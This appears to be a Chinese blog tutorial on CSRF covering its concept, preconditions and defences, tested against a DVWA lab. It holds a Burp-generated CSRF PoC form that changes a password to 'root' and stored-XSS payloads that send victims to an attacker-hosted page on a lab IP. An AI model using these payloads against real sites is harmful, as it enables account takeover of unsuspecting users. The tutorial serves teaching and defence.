当前位置:   article > 正文

CSRF攻击(1), 概念,实施条件, 防御措施_那种操作容易导致csrf攻击

那种操作容易导致csrf攻击

CSRF跨站请求伪造

一, CSRF的概念

CSRF(跨站请求伪造,Cross-Site Request Forgery)是一种常见的网络攻击技术。
它允许攻击者诱导用户执行不在其意识之中的操作,从而达到攻击目的。
这种操作可能是更改电子邮件地址、密码、或其他对于用户来说敏感的操作。

在一个典型的CSRF攻击中,攻击者创建一个恶意网页,该网页会在用户浏览它时触发一个请求到目标网站,这个请求会执行某个操作(比如更改密码)。
因为浏览器会自动发送存储的Cookie,所以如果用户已经登录目标网站,那么这个恶意请求就可能被成功执行。

二, 实施CSRF攻击的条件

1. 受害者处于登录状态:

CSRF攻击通常针对已经登录并且会话仍然有效的用户。

2. 攻击者知道请求的格式:

为了构造一个有效的恶意请求,攻击者需要知道目标应用的具体请求格式,如URL、参数等。

3. 目标站点没有实施有效的CSRF防护:

如果目标站点没有使用如CSRF令牌或其他验证手段来保护其敏感操作,那么它更容易受到CSRF攻击。

4. 受害者被诱导访问恶意页面或点击恶意链接:

为了触发恶意请求,攻击者需要某种方式诱导受害者访问含有恶意代码的页面或点击恶意链接。
这可以通过社交工程技巧、电子邮件、即时消息或其他方式来实现。

5. 浏览器发送Cookie:

大多数CSRF攻击都依赖于浏览器会自动发送与目标站点相关的Cookie。
如果目标站点设置了Cookie的SameSite属性或用户浏览器不自动发送Cookie,那么CSRF攻击的可能性将大大降低。

6. 目标站点允许跨站请求:

如果目标站点使用CORS策略且正确配置,那么来自不受信任的源的恶意请求可能会被拦截。

三, 攻击场景举例

1. 用户a是网站的正常用户, 他在网站上登录, 然后修改个人资料, 例如:

姓名: tom
电话: 13523443546
地址: 白帽镇123号

用户a修改后点击提交, 请求的url是:

http://www.xiaobao.com/member/edit.php
?name=tom&phone=13523443546&addr=白帽镇123&submit=submit
  • 1
  • 2
2. 用户x想要修改a的地址, 但是x并没有a的账户权限, 于是x利用csrf漏洞:

(1) x先确定a处于登录状态.
(2) x将修改个人资料的请求伪造, 然后引诱a去点击这个请求. 伪造请求通常要通过攻击者x的恶意站点来完成.

3. 用户x用 burpsuite 制作钓鱼链接:

(1) 用 burpsuite 的 engagement tools 制作一个csrf钓鱼网站.
(2) 用户x引诱用户a在没有退出网站的情况下访问钓鱼页面.
(3) 用户a使用了钓鱼页面中的恶意表单, 提交修改信息的请求.

用户a点击了钓鱼网站的请求, 请求的url是:

http://www.xiaobao.com/member/edit.php
?name=tom&phone=13523443546&addr=黑盒镇223&submit=submit
  • 1
  • 2

由于这个请求是通过合法用户a点击发送的, 所以修改成功, 用户x完成了攻击.
csrf是借助用户的权限完成攻击, 而xss一般是通过脚本获得用户权限再实施其他攻击.

四, burpsuit 制作钓鱼链接, DVWA靶场测试

1. 在DVWA靶场的CSRF页面截取修改密码的请求.
2. 右键 Engagement tools -> Generate CSRF PoC -> Copy HTML
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="root" />
      <input type="hidden" name="password&#95;conf" value="root" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
3. 将复制的代码放到攻击服务器, 例如: http://192.168.112.202/csrf.html
4. 回到靶场页面, 在登录状态访问 http://192.168.112.202/csrf.html, 点击[Submit request]按钮就会将密码自动修改为root.

五, CSRF结合XSS实现攻击

1. 攻击者可以利用XSS漏洞让用户点击钓鱼链接来实现攻击.

打开DVWA靶场的XSS(Stored)页面, 输入XSS攻击代码:

<a href="http://192.168.112.202/csrf.html">
    <img src="http://192.168.112.202/test.jpg"/>
</a>
  • 1
  • 2
  • 3

当用户打开页面查看留言板时, 如果点击了test.jpg图片就会访问恶意链接.

2. 或者省去点击图片的操作, 只要用户查看页面就会触发脚本, 访问恶意链接.
<script>
    new Image().src="http://192.168.112.202/csrf.html";
</script>
  • 1
  • 2
  • 3
3. 也可以只通过XSS漏洞修改密码:
<a href="http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change">
    <img src="http://192.168.112.202/test.jpg"/>
</a>
  • 1
  • 2
  • 3

六, 防御CSRF漏洞

1. 使用CSRF令牌:

每次生成一个表单时,都包含一个随机生成的令牌,并将其存储在服务器端。当表单提交时,这个令牌也会被发送回服务器进行验证。

2. 检查Referer头:

只接受来自可信任的源的请求。

3. 使用SameSite Cookie属性:

这可以限制浏览器在跨站请求时发送Cookie。

4. 强制验证高风险操作:

使用强制用户再次验证身份的措施,特别是对于高风险的操作,如更改密码、设定支付信息等。

5. 避免使用GET请求完成高风险操作:

尽量避免使用GET请求来执行有副作用的操作,因为GET请求更容易被CSRF攻击。

6. 安全教育:

对用户进行安全教育,提醒他们不要轻易点击来自不受信任来源的链接或打开可疑的电子邮件。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/430821
推荐阅读
相关标签
  

闽ICP备14008679号